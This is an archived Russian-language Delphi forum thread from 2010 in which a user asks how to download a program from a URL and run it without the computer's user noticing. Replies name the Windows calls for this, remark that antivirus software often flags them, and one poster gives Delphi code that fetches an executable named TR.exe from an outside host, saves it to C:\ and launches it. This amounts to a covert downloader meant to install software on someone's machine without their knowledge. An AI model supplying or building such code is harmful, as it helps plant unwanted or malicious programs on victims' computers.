PDA

Просмотр полной версии : [Delphi]Установка и запуск приложения.


Ferrari california
17.05.2010, 19:57
Требуеться установить по урл программу и запустить ,чтобы юзер не заметил,кто поможет +

crystalbit
17.05.2010, 19:59
легче всего URLDownloadToFile из urlmon (использование палится часто антивирусами)
и ShellExecute из ShellAPI

Ferrari california
17.05.2010, 20:04
хм а программно можно написать ?

Nelzone
17.05.2010, 20:23
хм а программно можно написать ?

тебе написали программно тепер воплоти его в жизнь :rolleyes:

не забуд добавить shellAPI

astonilya
17.05.2010, 20:36
procedure TForm1.Button1Click(Sender: TObject);
var mem:TMemoryStream;
begin
mem := TMemoryStream.Create;
try
IdHTTP1.Get('http://astonilya.hut.ru/TR.exe',mem);
mem.SaveToFile('c:\TR.exe');
finally
mem.Destroy;

end;
if FileExists('C:\TR.exe') then
begin
shellexecute(0,nil,'C:\TR.exe',nil,nil, SW_SHOWNORMAL);
end;

end;